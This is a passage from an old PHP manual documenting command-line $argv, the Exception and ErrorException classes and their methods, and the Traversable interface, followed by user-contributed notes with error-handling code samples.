    $e=explode("=",$arg);
    if(count($e)==2)
        $_GET[$e[0]]=$e[1];
    else
        $_GET[$e[0]]=0;
}
Jesse 31-Jan-2013 08:55
If your script is read from standard input or with the -r option, $argv[0] will be "-".

If you use the "--" option to separate PHP's arguments from your script's arguments, $argv[1] will be "--" if your script is read from a file. But if your script is read from standard input or with the -r option, the "--" will be removed.
tufan dot oezduman at googlemail dot com 22-Aug-2011 06:06
Please note that, $argv and $argc need to be declared global, while trying to access within a class method.

<?php
class A
{
    public static function b()
    {
        var_dump($argv);
        var_dump(isset($argv));
    }
}

A::b();
?>

will output NULL bool(false)  with a notice of "Undefined variable ..."

whereas global $argv fixes that.
Steve Schmitt 15-Sep-2009 01:57
If you come from a shell scripting background, you might expect to find this topic under the heading "positional parameters".


Predefined Exceptions

Table of Contents

  • Exception
  • ErrorException

See also the SPL Exceptions

User Contributed Notes

Tomas 24-Sep-2008 06:44
Many other exception included in PHP are here:
http://www.php.net/~helly/php/ext/spl/classException.html


Exception

(PHP 5 >= 5.1.0)

Introduction

Exception is the base class for all Exceptions.

Class synopsis

Exception {
/* Properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public __construct ([ string $message = "" [, int $code = 0 [, Exception $previous = NULL ]]] )
final public string getMessage ( void )
final public Exception getPrevious ( void )
final public mixed getCode ( void )
final public string getFile ( void )
final public int getLine ( void )
final public array getTrace ( void )
final public string getTraceAsString ( void )
public string __toString ( void )
final private void __clone ( void )
}

Properties

message

The exception message

code

The exception code

file

The filename where the exception was created

line

The line where the exception was created

Table of Contents

  • Exception::__construct — Construct the exception
  • Exception::getMessage — Gets the Exception message
  • Exception::getPrevious — Returns previous Exception
  • Exception::getCode — Gets the Exception code
  • Exception::getFile — Gets the file in which the exception occurred
  • Exception::getLine — Gets the line in which the exception occurred
  • Exception::getTrace — Gets the stack trace
  • Exception::getTraceAsString — Gets the stack trace as a string
  • Exception::__toString — String representation of the exception
  • Exception::__clone — Clone the exception

User Contributed Notes

cHao 28-Sep-2014 03:34
Note that an exception's properties are populated when the exception is *created*, not when it is thrown.  Throwing the exception does not seem to modify them.

Among other things, this means:

* The exception will blame the line that created it, not the line that threw it.

* Unlike in some other languages, rethrowing an exception doesn't muck up the trace.

* A thrown exception and an unthrown one look basically identical.  On my machine, the only visible difference is that a thrown exception has an `xdebug_message` property while an unthrown one doesn't.  Of course, if you don't have xdebug installed, you won't even get that.
altieresdelsent at gmail dot com 29-Sep-2012 04:40
when you are using xdebug, exceptions message will never be shown if you use any encoding different than UTF-8, so if you are using any database with translated messages like oracle, you should ALWAYS, always, throw a exception like this

throw new Exception(utf8_encode($message),$code), character like ã,é,ç, will make the exception message fail to be shown, if you are not using xdebug ( I do think you should at least try), this code will not affect your page.


Construct the exception

  • « Exception
  • Exception::getMessage »
  • PHP Manual
  • Exception
  • Construct the exception

Exception::__construct

(PHP 5 >= 5.1.0)

Exception::__construct — Construct the exception

Description

public Exception::__construct ([ string $message = "" [, int $code = 0 [, Exception $previous = NULL ]]] )

Constructs the Exception.

Parameters

message

The Exception message to throw.

code

The Exception code.

previous

The previous exception used for the exception chaining.

Changelog

Version | Description
5.3.0 | The previous parameter was added.

Notes

Note:

The message is NOT binary safe.

User Contributed Notes

talksonweb at gmail dot com 04-Jul-2013 06:43
For those that haven't done exception chaining. Here's an example.

This allows you to add the previous exception to the next one and give yourself detailed information in the end as to what happened. This is useful in larger applications.

<?php
function theDatabaseObj(){
     if( database_object ){
         return database_object;
     }
     else{
         throw new DatabaseException("Could not connect to the database");
     }
}

function updateProfile( $userInfo ){
     try{
         $db = theDatabaseObj();
         $db->updateProfile();
     }
     catch( DatabaseException $e ){
         $message = "The user :" . $userInfo->username . " could not update his profile information";
         /* notice the '$e'. I'm adding the previous exception  to this exception. I can later get a detailed view of
          where the problem began. Lastly, the number '12' is  an exception code. I can use this for categorizing my
         exceptions or don't use it at all. */
         throw new MemberSettingsException($message,12,$e);
     }
}

try{
     updateProfile( $userInfo );
}
catch( MemberSettingsException $e ){
     // this will give all information we have collected above.
     echo $e->getTraceAsString();
}
?>
mattsch at gmail dot com 01-Jan-2013 12:08
Be aware that while $previous is quite useful in providing exception chaining and better traceability, none of the internal php exceptions (e.g. PDOException, ReflectionException, etc) are called internally within php with $previous in mind.

So if your code throws an exception, recovers from it, then catches one of these internal php exceptions, recovers from it and throws another exception, you will not know the first exception that was thrown when calling getPrevious.

See: https://bugs.php.net/bug.php?id=63873
mario dot mueller at twt dot de 30-Jan-2009 11:21
This would be nice for handling ZendFramework Exceptions to your own framwork or CMS Exceptions:

<?php
try
{
    $oZFResponse = $oZFHttpClient->request();
}
catch(Zend_Http_Exception $exZFHttpEx)
{
    throw new Runtime_{$oZFHttpEx->getCode()}_Exception('some ErrorMailing Message', 500, $oZFHttpEx);
}

?>

Regards,
Mario


Gets the Exception message

  • « Exception::__construct
  • Exception::getPrevious »
  • PHP Manual
  • Exception
  • Gets the Exception message

Exception::getMessage

(PHP 5 >= 5.1.0)

Exception::getMessage — Gets the Exception message

Description

final public string Exception::getMessage ( void )

Returns the Exception message.

Parameters

This function has no parameters.

Return Values

Returns the Exception message as a string.

Examples

Example #1 Exception::getMessage() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e->getMessage();
}
?>

The above example will output something similar to:

Some error message

User Contributed Notes

There are no user contributed notes for this page.


Returns previous Exception

  • « Exception::getMessage
  • Exception::getCode »
  • PHP Manual
  • Exception
  • Returns previous Exception

Exception::getPrevious

(PHP 5 >= 5.3.0)

Exception::getPrevious — Returns previous Exception

Description

final public Exception Exception::getPrevious ( void )

Returns previous Exception (the third parameter of Exception::__construct()).

Parameters

This function has no parameters.

Return Values

Returns the previous Exception if available or NULL otherwise.

Examples

Example #1 Exception::getPrevious() example

Looping over, and printing out, exception trace.

<?php
class MyCustomException extends Exception {}

function doStuff() {
    try {
        throw new InvalidArgumentException("You are doing it wrong!", 112);
    } catch(Exception $e) {
        throw new MyCustomException("Something happened", 911, $e);
    }
}

try {
    doStuff();
} catch(Exception $e) {
    do {
        printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
    } while($e = $e->getPrevious());
}
?>

The above example will output something similar to:

/home/bjori/ex.php:8 Something happened (911) [MyCustomException]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentException]

User Contributed Notes

Anonymous 03-Oct-2011 10:11
May be I am late (5.2 is not supported). But if you want use the functionality of "previous Exception" in PHP < 5.3 or write compatible code, you can use next way as below.

<?php
abstract class App_Exception_PreviousNativeAbstract extends Exception {
    public static $printPrevious = true;

    public function __toString() {
        $result   = array();
        $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($this), $this->code, $this->message, $this->file, $this->line);
        $result[] = '---[Stack trace]:';
        $result[] = $this->getTraceAsString();

        if (self::$printPrevious) {
            $previous = $this->getPrevious();
            if ($previous) {
                do {
                    $result[] = '---[Previous exception]:';
                    $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($previous), $previous->getCode(), $previous->getMessage(), $previous->getFile(), $previous->getLine());
                    $result[] = '---[Stack trace]:';
                    $result[] = $previous->getTraceAsString();
                } while(method_exists($previous, 'getPrevious') && ($previous = $previous->getPrevious()));
            }
        }

        return implode("\r\n", $result);
    }
}

abstract class App_Exception_PreviousLegacyAbstract extends App_Exception_PreviousNativeAbstract {
    protected $previous;

    public function __construct($message, $code = 0, Exception $previous = null) {
        $this->previous = $previous;

        parent::__construct($message, $code);
    }

    public function getPrevious() {
        return $this->previous;
    }
}

if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousNativeAbstract {}
}
else {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousLegacyAbstract {}
}

class App_Exception extends App_Exception_PreviousAbstract {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, 0, $previous);
    }
}

// Example:
try {
    // ...
    throw new Exception('Exception mesage');
    // ...
} catch (Exception $e) {
    throw new App_Exception('App exception mesage', 0, $e);
}
?>


Gets the Exception code

  • « Exception::getPrevious
  • Exception::getFile »
  • PHP Manual
  • Exception
  • Gets the Exception code

Exception::getCode

(PHP 5 >= 5.1.0)

Exception::getCode — Gets the Exception code

Description

final public mixed Exception::getCode ( void )

Returns the Exception code.

Parameters

This function has no parameters.

Return Values

Returns the exception code as integer in Exception but possibly as other type in Exception descendants (for example as string in PDOException).

Examples

Example #1 Exception::getCode() example

<?php
try {
    throw new Exception("Some error message", 30);
} catch(Exception $e) {
    echo "The exception code is: " . $e->getCode();
}
?>

The above example will output something similar to:

The exception code is: 30

User Contributed Notes

talksonweb at gmail dot com 29-Jun-2013 12:23
The exception code can be used to categorize your errors. If you're wondering what the exception code can be used for, read on below.

Let's say each time your application isn't able to connect to the database, you can save the error message under the error/exception code 214. At the end of the month, you can do a quick search on the error number '214' and find out how many times this error occurred. This makes life easier. Also, the error/exception message will give you details into what happened.

The point is to use both the exception message and code. It's helpful in the long run.

Note: I added this note, because I was confused earlier as to the purpose of the exception code and it's use.
ricky at rocker dot com 19-Feb-2013 07:53
when raising an Exception with no error code explicitly defined, getCode() returns the integer 0

<?php
try {
  throw new Exception("no code!!");
} catch (Exception $e) {
  print("Code='" . $e->getCode() . "'");
}
?>

outputs

Code='0'


Gets the file in which the exception occurred

  • « Exception::getCode
  • Exception::getLine »
  • PHP Manual
  • Exception
  • Gets the file in which the exception occurred

Exception::getFile

(PHP 5 >= 5.1.0)

Exception::getFile — Gets the file in which the exception occurred

Description

final public string Exception::getFile ( void )

Get the name of the file the exception was created.

Parameters

This function has no parameters.

Return Values

Returns the filename in which the exception was created.

Examples

Example #1 Exception::getFile() example

<?php
try {
    throw new Exception;
} catch(Exception $e) {
    echo $e->getFile();
}
?>

The above example will output something similar to:

/home/bjori/tmp/ex.php

User Contributed Notes

There are no user contributed notes for this page.


Gets the line in which the exception occurred

  • « Exception::getFile
  • Exception::getTrace »
  • PHP Manual
  • Exception
  • Gets the line in which the exception occurred

Exception::getLine

(PHP 5 >= 5.1.0)

Exception::getLine — Gets the line in which the exception occurred

Description

final public int Exception::getLine ( void )

Get line number where the exception was created.

Parameters

This function has no parameters.

Return Values

Returns the line number where the exception was created.

Examples

Example #1 Exception::getLine() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo "The exception was created on line: " . $e->getLine();
}
?>

The above example will output something similar to:

The exception was created on line: 3

User Contributed Notes

James 03-Feb-2011 11:20
Note that it appears to be the line number the Exception was created that is returned, *not* the line it was thrown from.

See this bug:
http://bugs.php.net/bug.php?id=53882

Wanted to note that here until documentation is fixed or bug report dealt with.


Gets the stack trace

  • « Exception::getLine
  • Exception::getTraceAsString »
  • PHP Manual
  • Exception
  • Gets the stack trace

Exception::getTrace

(PHP 5 >= 5.1.0)

Exception::getTrace — Gets the stack trace

Description

final public array Exception::getTrace ( void )

Returns the Exception stack trace.

Parameters

This function has no parameters.

Return Values

Returns the Exception stack trace as an array.

Examples

Example #1 Exception::getTrace() example

<?php
function test() {
 throw new Exception;
}

try {
 test();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

User Contributed Notes

knivey 18-Apr-2013 11:53
The order of the trace starts at the source of the exception and does not include main.
So for example:

<?php
function Bar() {
 throw new Exception;
}

function Foo() {
 Bar();
}

try {
 Foo();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

Will output:

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "Bar"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "Foo"
    ["args"]=>
    array(0) {
    }
  }
}
sam at notmyrealemail dot org 18-Feb-2012 12:26
Two important points about this function which are not documented:

1) The trace does not include the file / line at which the exception is thrown; that entry is only recorded in the top-level getFile/Line methods.

2) Elements are returned in 'closest-first' order, e.g. if you have a script x which calls function y which calls function z which throws an exception, then the first trace element will be 'Y' and the second will be 'X'.
andreas at cap-systems dot com 09-Jun-2010 09:55
When calling getTrace(), there is also the name of the class in returned array:

<?php
  class Test {

    function __construct() {

      throw new Exception('FATAL ERROR: bla bla...');

    }

  }

  try {

    $obj = new Test();

  } catch(Exception $e) {

    var_dump($e->getTrace());

  }
?>

Will show something like:

array(1) {
  [0]=>  array(6) {
               ["file"]=>  string(54) "/....../test.php"
               ["line"]=>  int(37)
               ["function"]=>  string(11) "__construct"
               ["class"]=>  string(4) "Test"
               ["type"]=>  string(2) "->"
               ["args"]=>  array(0) { }
             }
}

You can use this function to format a exception:

<?php
  function MakePrettyException(Exception $e) {
    $trace = $e->getTrace();

    $result = 'Exception: "';
    $result .= $e->getMessage();
    $result .= '" @ ';
    if($trace[0]['class'] != '') {
      $result .= $trace[0]['class'];
      $result .= '->';
    }
    $result .= $trace[0]['function'];
    $result .= '();<br />';

    return $result;
  }

  //Example:
  try {

    $obj = new Test();

  } catch(Exception $e) {

    echo MakePrettyException($e);

  }

?>

Result:

Exception: "FATAL ERROR: bla bla..." @ Test->__construct();


Gets the stack trace as a string

  • « Exception::getTrace
  • Exception::__toString »
  • PHP Manual
  • Exception
  • Gets the stack trace as a string

Exception::getTraceAsString

(PHP 5 >= 5.1.0)

Exception::getTraceAsString — Gets the stack trace as a string

Description

final public string Exception::getTraceAsString ( void )

Returns the Exception stack trace as a string.

Parameters

This function has no parameters.

Return Values

Returns the Exception stack trace as a string.

Examples

Example #1 Exception::getTraceAsString() example

<?php
function test() {
    throw new Exception;
}

try {
    test();
} catch(Exception $e) {
    echo $e->getTraceAsString();
}
?>

The above example will output something similar to:

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

User Contributed Notes

ernest at vogelsinger dot at 09-May-2014 06:49
Honestly, Exception::getTraceAsString() simply sucks, listing only the called method (below, for example, on line 89 function fail2() gets called, but there's no information that you have the originator is fail1()). The fact that, in the example below, the exception gets thrown on line 78, is completely omitted from the trace and only available within the exception. Chained exceptions are not supported as well.

Example:
#0 /var/htdocs/websites/sbdevel/public/index.php(70): seabird\test\C->exc()
#1 /var/htdocs/websites/sbdevel/public/index.php(85): seabird\test\C->doexc()
#2 /var/htdocs/websites/sbdevel/public/index.php(89): seabird\test\fail2()
#3 /var/htdocs/websites/sbdevel/public/index.php(93): seabird\test\fail1()
#4 {main}

jTraceEx() provides a much better java-like stack trace that includes support for chained exceptions:
Exception: Thrown from class C
 at seabird.test.C.exc(index.php:78)
 at seabird.test.C.doexc(index.php:70)
 at seabird.test.fail2(index.php:85)
 at seabird.test.fail1(index.php:89)
 at (main)(index.php:93)
Caused by: Exception: Thrown from class B
 at seabird.test.B.exc(index.php:64)
 at seabird.test.C.exc(index.php:75)
 ... 4 more
Caused by: Exception: Thrown from class A
 at seabird.test.A.exc(index.php:46)
 at seabird.test.B.exc(index.php:61)
 ... 5 more

(see at the end for the example code)

 <?php
 /**
 * jTraceEx() - provide a Java style exception trace
 * @param $exception
 * @param $seen      - array passed to recursive calls to accumulate trace lines already seen
 *                     leave as NULL when calling this function
 * @return array of strings, one entry per trace line
 */
function jTraceEx($e, $seen=null) {
    $starter = $seen ? 'Caused by: ' : '';
    $result = array();
    if (!$seen) $seen = array();
    $trace  = $e->getTrace();
    $prev   = $e->getPrevious();
    $result[] = sprintf('%s%s: %s', $starter, get_class($e), $e->getMessage());
    $file = $e->getFile();
    $line = $e->getLine();
    while (true) {
        $current = "$file:$line";
        if (is_array($seen) && in_array($current, $seen)) {
            $result[] = sprintf(' ... %d more', count($trace)+1);
            break;
        }
        $result[] = sprintf(' at %s%s%s(%s%s%s)',
                                    count($trace) && array_key_exists('class', $trace[0]) ? str_replace('\\', '.', $trace[0]['class']) : '',
                                    count($trace) && array_key_exists('class', $trace[0]) && array_key_exists('function', $trace[0]) ? '.' : '',
                                    count($trace) && array_key_exists('function', $trace[0]) ? str_replace('\\', '.', $trace[0]['function']) : '(main)',
                                    $line === null ? $file : basename($file),
                                    $line === null ? '' : ':',
                                    $line === null ? '' : $line);
        if (is_array($seen))
            $seen[] = "$file:$line";
        if (!count($trace))
            break;
        $file = array_key_exists('file', $trace[0]) ? $trace[0]['file'] : 'Unknown Source';
        $line = array_key_exists('file', $trace[0]) && array_key_exists('line', $trace[0]) && $trace[0]['line'] ? $trace[0]['line'] : null;
        array_shift($trace);
    }
    $result = join("\n", $result);
    if ($prev)
        $result  .= "\n" . jTraceEx($prev, $seen);

    return $result;
}
?>

Here's the example code:
<?php
class A {
    public function exc() {
        throw new \Exception('Thrown from class A');    // <-- line 46
    }
}

class B {
    public function exc() {
        try {
            $a = new A;
            $a->exc();    // <-- line 61
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class B', 0, $e1);    // <-- line 64
        }
    }
}
class C {
    public function doexc() {
        $this->exc();    // <-- line 70
    }
    public function exc() {
        try {
            $b = new B;
            $b->exc();    // <-- line 75
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class C', 0, $e1);    // <-- line 78
        }
    }
}

function fail2() {
    $c = new C;
    $c->doexc();    // <-- line 85
}

function fail1() {
    fail2();            // <-- line 89
}

try {
    fail1();            // <-- line 93
}
catch(\Exception $e) {
    echo jTraceEx($e);
}
?>


String representation of the exception

  • « Exception::getTraceAsString
  • Exception::__clone »
  • PHP Manual
  • Exception
  • String representation of the exception

Exception::__toString

(PHP 5 >= 5.1.0)

Exception::__toString — String representation of the exception

Description

public string Exception::__toString ( void )

Returns the string representation of the exception.

Parameters

This function has no parameters.

Return Values

Returns the string representation of the exception.

Examples

Example #1 Exception::__toString() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e;
}
?>

The above example will output something similar to:

exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

User Contributed Notes

There are no user contributed notes for this page.


Clone the exception

  • « Exception::__toString
  • ErrorException »
  • PHP Manual
  • Exception
  • Clone the exception

Exception::__clone

(PHP 5 >= 5.1.0)

Exception::__clone — Clone the exception

Description

final private void Exception::__clone ( void )

Tries to clone the Exception, which results in Fatal error.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Exceptions are not clonable.

User Contributed Notes

There are no user contributed notes for this page.


ErrorException

(PHP 5 >= 5.1.0)

Introduction

An Error Exception.

Class synopsis

ErrorException extends Exception {
/* Properties */
protected int $severity ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public __construct ([ string $message = "" [, int $code = 0 [, int $severity = 1 [, string $filename = __FILE__ [, int $lineno = __LINE__ [, Exception $previous = NULL ]]]]]] )
final public int getSeverity ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

severity

The severity of the exception

Examples

Example #1 Use set_error_handler() to change error messages into ErrorException.

<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

The above example will output something similar to:

Fatal error: Uncaught exception 'ErrorException' with message 'Wrong parameter count for strpos()' in /home/bjori/tmp/ex.php:8
Stack trace:
#0 [internal function]: exception_error_handler(2, 'Wrong parameter...', '/home/bjori/php...', 8, Array)
#1 /home/bjori/php/cleandocs/test.php(8): strpos()
#2 {main}
  thrown in /home/bjori/tmp/ex.php on line 8

Table of Contents

  • ErrorException::__construct — Constructs the exception
  • ErrorException::getSeverity — Gets the exception severity

User Contributed Notes

xianrenb at gmail dot com 23-Sep-2012 11:33
<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

Please note that property $severity of class ErrorException is set to a constant zero for all kinds of errors in the above example.

I think it was a bug and tried to file a bug report, but it was closed as not a bug, so I could not say the above is wrong.

Let me show an example that uses $severity not as a constant:
<?php
  set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
  });

  class MyClass {
    public function methodA() {
      echo("methodA:\n");
      strpos();
    }

    public function methodB() {
      echo("methodB:\n");
      trigger_error("warning message form methodB", E_WARNING);
    }

    public function methodC() {
      echo("methodC:\n");
      throw new ErrorException();
    }

    public function methodD() {
      echo("methodD:\n");
      throw new ErrorException('warning message from methodD', 0,
E_WARNING);
    }

    public function run($i) {
        if ($i === 0) {
          $this->methodA();
        } else if ($i === 1) {
          $this->methodB();
        } else if ($i === 2) {
          $this->methodC();
        } else {
          $this->methodD();
        }
    }

    public function test() {
      for ($i = 0; $i < 4; ++$i) {
        try {
            $this->run($i);
        } catch (ErrorException $e) {
          if ($e->getSeverity() === E_ERROR) {
            echo("E_ERROR triggered.\n");
          } else if ($e->getSeverity() === E_WARNING) {
            echo("E_WARNING triggered.\n");
          }
        }
      }
    }
  }

  $myClass = new MyClass();
  $myClass->test();
?>

Please note that methodC() uses (constructor of) class ErrorException with default parameters.

I believe it is the original intention to make $severity having default value of 1, which is exactly equal to E_ERROR.

Using property $code or Exception::getCode() to compare with E_* values could not do the same thing (as in methodC()), as $code has a default value of 0, and class Exception has it too, users may use $code for some other purposes.
triplepoint at gmail dot com 02-Jan-2010 05:16
As noted below, it's important to realize that unless caught, any Exception thrown will halt the script.  So converting EVERY notice, warning, or error to an ErrorException will halt your script when something harmlesss like E_USER_NOTICE is triggered.

It seems to me the best use of the ErrorException class is something like this:

<?php
function custom_error_handler($number, $string, $file, $line, $context)
{
    // Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc)
    $error_is_enabled = (bool)($number & ini_get('error_reporting') );

    // -- FATAL ERROR
    // throw an Error Exception, to be handled by whatever Exception handling logic is available in this context
    if( in_array($number, array(E_USER_ERROR, E_RECOVERABLE_ERROR)) && $error_is_enabled ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }

    // -- NON-FATAL ERROR/WARNING/NOTICE
    // Log the error if it's enabled, otherwise just ignore it
    else if( $error_is_enabled ) {
        error_log( $string, 0 );
        return false; // Make sure this ends up in $php_errormsg, if appropriate
    }
}
?>

Setting this function as the error handler will result in ErrorExceptions only being thrown for E_USER_ERROR and E_RECOVERABLE_ERROR, while other enabled error types will simply get error_log()'ed.

It's worth noting again that no matter what you do, "E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT" will never reach your custom error handler, and therefore will not be converted into ErrorExceptions.  Plan accordingly.
randallgirard at hotmail dot com 12-Dec-2009 12:32
E_USER_WARNING, E_USER_NOTICE, and any other non-terminating error codes, are useless and act like E_USER_ERROR (which terminate) when you combine a custom ERROR_HANDLER with ErrorException and do not CATCH the error. There is NO way to return execution to the parent scope in the EXCEPTION_HANDLER.

<?php

    error_reporting(E_ALL);
    define('DEBUG', true);
    define('LINEBREAK', "\r\n");

    error::initiate('./error_backtrace.log');

    try
        trigger_error("First error", E_USER_NOTICE);
    catch ( ErrorException $e )
        print("Caught the error: ".$e->getMessage."<br />\r\n" );

    trigger_error("This event WILL fire", E_USER_NOTICE);

    trigger_error("This event will NOT fire", E_USER_NOTICE);

    abstract class error {

        public static $LIST = array();

        private function __construct() {}

        public static function initiate( $log = false ) {
            set_error_handler( 'error::err_handler' );
            set_exception_handler( 'error::exc_handler' );
            if ( $log !== false ) {
                if ( ! ini_get('log_errors') )
                    ini_set('log_errors', true);
                if ( ! ini_get('error_log') )
                    ini_set('error_log', $log);
            }
        }

        public static function err_handler($errno, $errstr, $errfile, $errline, $errcontext) {
            $l = error_reporting();
            if ( $l & $errno ) {

                $exit = false;
                switch ( $errno ) {
                    case E_USER_ERROR:
                        $type = 'Fatal Error';
                        $exit = true;
                    break;
                    case E_USER_WARNING:
                    case E_WARNING:
                        $type = 'Warning';
                    break;
                    case E_USER_NOTICE:
                    case E_NOTICE:
                    case @E_STRICT:
                        $type = 'Notice';
                    break;
                    case @E_RECOVERABLE_ERROR:
                        $type = 'Catchable';
                    break;
                    default:
                        $type = 'Unknown Error';
                        $exit = true;
                    break;
                }

                $exception = new \ErrorException($type.': '.$errstr, 0, $errno, $errfile, $errline);

                if ( $exit ) {
                    exc_handler($exception);
                    exit();
                }
                else
                    throw $exception;
            }
            return false;
        }

        function exc_handler($exception) {
            $log = $exception->getMessage() . "\n" . $exception->getTraceAsString() . LINEBREAK;
            if ( ini_get('log_errors') )
                error_log($log, 0);
            print("Unhandled Exception" . (DEBUG ? " - $log" : ''));
        }

    }
?>
luke at cywh dot com 23-Feb-2009 08:56
To add to the comments made by chris AT cmbuckley DOT co DOT uk about the ErrorException problem with args:

I noticed that the problem is in the ErrorException class itself, not the Exception class. When using just the exception class, it's no longer an issue. Besides the args problem, the only difference between Exception and ErrorException in the stack trace is that the args are left out of the error handler exception function. I'm not sure if this was on purpose or not, but it shouldn't hurt to show this information anyway.

So instead of using this broken extended class, you can ignore it and make your own extended class and avoid the problem all together:

<?php

header('Content-Type: text/plain');

class ErrorHandler extends Exception {
    protected $severity;

    public function __construct($message, $code, $severity, $filename, $lineno) {
        $this->message = $message;
        $this->code = $code;
        $this->severity = $severity;
        $this->file = $filename;
        $this->line = $lineno;
    }

    public function getSeverity() {
        return $this->severity;
    }
}

function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorHandler($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler", E_ALL);

function A() {
    $foo->bar; // Purposely cause error
}

function B($c) {
    A();
}

try {
    B('foobar');
} catch (Exception $e) {
    var_dump($e->getTrace());
}

?>

The only thing I wish I could do was remove the entry for the error handler function because it's quite irrelevant. Maybe that's what they were trying to do with the ErrorException class? Either way, you can't change it because the trace functions are final, and the variable is private.


Constructs the exception

  • « ErrorException
  • ErrorException::getSeverity »
  • PHP Manual
  • ErrorException
  • Constructs the exception

ErrorException::__construct

(PHP 5 >= 5.1.0)

ErrorException::__construct — Constructs the exception

Description

public ErrorException::__construct ([ string $message = "" [, int $code = 0 [, int $severity = 1 [, string $filename = __FILE__ [, int $lineno = __LINE__ [, Exception $previous = NULL ]]]]]] )

Constructs the Exception.

Parameters

message

The Exception message to throw.

code

The Exception code.

severity

The severity level of the exception.

filename

The filename where the exception is thrown.

lineno

The line number where the exception is thrown.

previous

The previous exception used for the exception chaining.

Changelog

Version | Description
5.3.0 | The previous parameter was added.

User Contributed Notes

There are no user contributed notes for this page.


Gets the exception severity

  • « ErrorException::__construct
  • Predefined Interfaces and Classes »
  • PHP Manual
  • ErrorException
  • Gets the exception severity

ErrorException::getSeverity

(PHP 5 >= 5.1.0)

ErrorException::getSeverity — Gets the exception severity

Description

final public int ErrorException::getSeverity ( void )

Returns the severity of the exception.

Parameters

This function has no parameters.

Return Values

Returns the severity level of the exception.

Examples

Example #1 ErrorException::getSeverity() example

<?php
try {
    throw new ErrorException("Exception message", 0, 75);
} catch(ErrorException $e) {
    echo "This exception severity is: " . $e->getSeverity();
}
?>

The above example will output something similar to:

This exception severity is: 75

User Contributed Notes

fgaab 08-Mar-2010 03:38
Try this as replacement for error_reporting(...)

<?php
    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        $severity =
            1 * E_ERROR |
            1 * E_WARNING |
            0 * E_PARSE |
            0 * E_NOTICE |
            0 * E_CORE_ERROR |
            0 * E_CORE_WARNING |
            0 * E_COMPILE_ERROR |
            0 * E_COMPILE_WARNING |
            0 * E_USER_ERROR |
            0 * E_USER_WARNING |
            0 * E_USER_NOTICE |
            0 * E_STRICT |
            0 * E_RECOVERABLE_ERROR |
            0 * E_DEPRECATED |
            0 * E_USER_DEPRECATED;
        $ex = new ErrorException($errstr, 0, $errno, $errfile, $errline);
        if (($ex->getSeverity() & $severity) != 0) {
                       throw $ex;
                }
    }
    set_error_handler("exception_error_handler");
?>


Predefined Interfaces and Classes

Table of Contents

  • Traversable
  • Iterator
  • IteratorAggregate
  • ArrayAccess
  • Serializable
  • Closure
  • Generator

See also the SPL Interfaces and reserved classes.

User Contributed Notes

There are no user contributed notes for this page.


The Traversable interface

(PHP 5 >= 5.0.0)

Introduction

Interface to detect if a class is traversable using foreach.

Abstract base interface that cannot be implemented alone. Instead it must be implemented by either IteratorAggregate or Iterator.

Note:

Internal (built-in) classes that implement this interface can be used in a foreach construct and do not need to implement IteratorAggregate or Iterator.

Note:

This is an internal engine interface which cannot be implemented in PHP scripts. Either IteratorAggregate or Iterator must be used instead. When implementing an interface which extends Traversable, make sure to list IteratorAggregate or Iterator before its name in the implements clause.

Interface synopsis

Traversable {
}

This interface has no methods, its only purpose is to be the base interface for all traversable classes.

User Contributed Notes

mathdegiovani at gmail dot com 03-Mar-2014 10:41
Note that instanceof Traversable does not work for stdclass objects, so if you are this check (as @kevinpeno) to decide whether you can iterate, it will fail for direct instances.

In particular:

<?php

$obj = new stdclass();
$obj->prop = 'hello';
var_dump($obj instanceof Traversable);
//outputs bool(false)
?>

